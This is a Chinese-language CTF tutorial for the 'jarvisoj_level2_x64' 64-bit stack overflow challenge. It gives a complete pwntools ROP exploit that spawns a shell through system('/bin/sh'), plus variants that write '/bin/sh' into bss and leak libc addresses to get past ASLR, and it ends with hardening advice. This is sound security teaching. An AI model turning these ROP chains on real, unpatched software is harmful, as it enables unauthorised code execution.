1. 项目背景与目标解析
"jarvisoj_level2_x64"是一个经典的64位栈溢出漏洞利用挑战,常见于CTF竞赛和二进制安全学习路径中。这个挑战模拟了现实环境中由于未对用户输入进行边界检查而导致的栈缓冲区溢出漏洞,攻击者需要通过精心构造的输入数据覆盖函数返回地址,最终实现控制流劫持。
我在实际参与CTF比赛和教学过程中发现,64位环境下的栈溢出与32位存在显著差异,主要体现在参数传递规则、寄存器使用和内存地址随机化等方面。这个项目特别适合已经掌握32位栈溢出基础、希望过渡到64位环境的安全研究人员。通过完整复现这个挑战,你能深入理解x64架构下的函数调用约定、ROP链构造技巧以及现代防护机制(如NX/DEP)的绕过方法。
2. 环境准备与工具链配置
2.1 实验环境搭建
推荐使用Ubuntu 18.04 LTS 64位系统作为基础环境,内核版本4.15.x与大多数CTF挑战兼容性最佳。关键工具包括:
- gdb-peda:增强版GDB调试器,提供直观的寄存器/内存可视化
- pwntools:Python漏洞利用开发框架(版本4.5+)
- checksec:检测二进制文件防护机制(
pip3 install checksec) - ROPgadget:自动化ROP链构造工具
安装命令示例:
bash复制sudo apt update && sudo apt install -y python3-pip git libc6-dev-i386
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
pip3 install pwntools ROPgadget
2.2 目标文件分析
首先使用checksec检查目标文件的防护机制:
bash复制checksec --file=level2_x64
典型输出结果可能显示:
code复制Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键信息解读:
- NX enabled:栈不可执行,需使用ROP技术
- No canary:可直接进行栈溢出
- No PIE:代码段地址固定,便于计算偏移
3. 漏洞原理与利用链设计
3.1 静态逆向分析
使用IDA Pro或Ghidra反编译目标程序,核心漏洞函数通常表现为:
c复制void vulnerable_function() {
char buf[0x80]; // 128字节缓冲区
read(0, buf, 0x200); // 允许读取512字节,导致溢出
}
在x64架构下,函数调用时参数优先通过寄存器传递(RDI, RSI, RDX等),这与x86的栈传参不同。当调用read()时:
- 文件描述符0(stdin)存入RDI
- 缓冲区地址存入RSI
- 读取长度0x200存入RDX
3.2 偏移量计算
通过cyclic模式字符串确定溢出点:
python复制from pwn import *
p = process('./level2_x64')
payload = cyclic(200)
p.sendline(payload)
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 4))
在x64环境下,偏移量通常比x86大8-16字节,因为:
- 返回地址前需要覆盖RBP(8字节)
- 某些编译器会有额外的栈对齐填充
3.3 ROP链构造策略
由于NX防护启用,我们需要构造ROP链调用system("/bin/sh")。关键步骤:
- 定位gadgets:
bash复制ROPgadget --binary level2_x64 --only "pop|ret"
寻找关键gadget如:
code复制0x4006fc : pop rdi ; ret
- 参数传递规则:
- 第一个参数(字符串地址)需放入RDI
- 不需要操作栈空间(与x86不同)
- 函数地址获取:
python复制from pwn import *
elf = ELF('./level2_x64')
system_addr = elf.plt['system']
binsh_addr = next(elf.search(b'/bin/sh\x00'))
4. 完整漏洞利用实现
4.1 exploit代码编写
python复制#!/usr/bin/env python3
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
# 自动获取关键地址
elf = ELF('./level2_x64')
rop = ROP(elf)
system_addr = elf.plt['system']
binsh_addr = next(elf.search(b'/bin/sh\x00'))
# 构造ROP链
chain = flat([
# 填充缓冲区
b'A' * 136,
# pop rdi; ret
rop.find_gadget(['pop rdi', 'ret'])[0],
binsh_addr,
# system地址
system_addr,
# 退出处理(可选)
0xdeadbeef
])
# 交互模式选择
if args.REMOTE:
p = remote('pwn.jarvisoj.com', 9876)
else:
p = process(elf.path)
p.sendlineafter(b'Input:', chain)
p.interactive()
4.2 关键调试技巧
- 栈平衡检查:
在gdb中观察执行到system时RSP是否16字节对齐:
code复制break *system
run < payload
info registers rsp
若不对齐,需在ROP链中添加ret指令进行对齐
- 内存地址验证:
code复制vmmap
确认/bin/sh字符串所在内存段具有可读权限
- 调用链跟踪:
code复制ni
x/i $rip
单步跟踪每个gadget的执行流程
5. 高级技巧与变种分析
5.1 无/bin/sh情况的处理
当二进制中不存在现成的/bin/sh字符串时,可通过以下方式解决:
- 手动写入字符串:
python复制read_addr = elf.plt['read']
bss_addr = elf.bss() + 0x100 # 选择bss段空白区域
chain = flat([
# 调用read(0, bss_addr, 8)
rop.find_gadget(['pop rdi', 'ret'])[0],
0,
rop.find_gadget(['pop rsi', 'ret'])[0],
bss_addr,
rop.find_gadget(['pop rdx', 'ret'])[0],
8,
read_addr,
# 跳转执行system(bss_addr)
rop.find_gadget(['pop rdi', 'ret'])[0],
bss_addr,
system_addr
])
p.send(chain)
p.send(b'/bin/sh\x00') # 后续输入字符串
5.2 对抗ASLR的策略
如果遇到部分ASLR(如libc地址随机化):
- 泄漏libc地址:
python复制puts_addr = elf.plt['puts']
got_read = elf.got['read']
chain = flat([
b'A'*136,
rop.find_gadget(['pop rdi', 'ret'])[0],
got_read,
puts_addr,
elf.sym['main'] # 返回main函数进行二次利用
])
p.sendline(chain)
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - libc.sym['read']
- 计算真实地址:
python复制from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = libc_base
real_system = libc.sym['system']
real_binsh = next(libc.search(b'/bin/sh'))
6. 防御措施与安全启示
6.1 现代防护机制
-
栈金丝雀(Stack Canary):
- 在函数入口处放置随机值,函数返回前验证
- 绕过方法:泄漏canary值或覆盖非返回地址数据
-
PIE(位置无关可执行文件):
- 代码段地址随机化
- 应对:通过信息泄漏获取基地址
-
FULL RELRO:
- 禁止修改GOT表
- 需转向其他攻击面如return-to-csu
6.2 安全开发建议
- 输入边界检查:
c复制// 正确做法
fgets(buf, sizeof(buf), stdin);
- 编译器加固选项:
code复制gcc -fstack-protector-strong -pie -fPIC
- 最小权限原则:
避免使用system等危险函数,改用execve限定参数
7. 扩展学习路径
-
进阶技术方向:
- Return-to-csu:利用glibc初始函数构造复杂调用
- SROP:信号处理机制滥用
- Heap Exploitation:针对堆分配的漏洞利用
-
推荐实验平台:
- ROP Emporium(专项ROP训练)
- pwnable.kr(渐进式挑战)
- Hack The Box(实战环境)
-
调试技巧提升:
- gdb插件:gef、pwndbg
- 内存分析:Volatility
- 动态插桩:Intel Pin
这个挑战虽然基础,但涵盖了64位环境下漏洞利用的核心思想。建议在掌握后尝试修改防护选项(如开启Canary或PIE),逐步提升对抗现代防护措施的能力。在实际漏洞挖掘中,往往需要结合信息泄漏与ROP技术才能完成利用,这正是二进制安全研究的魅力所在。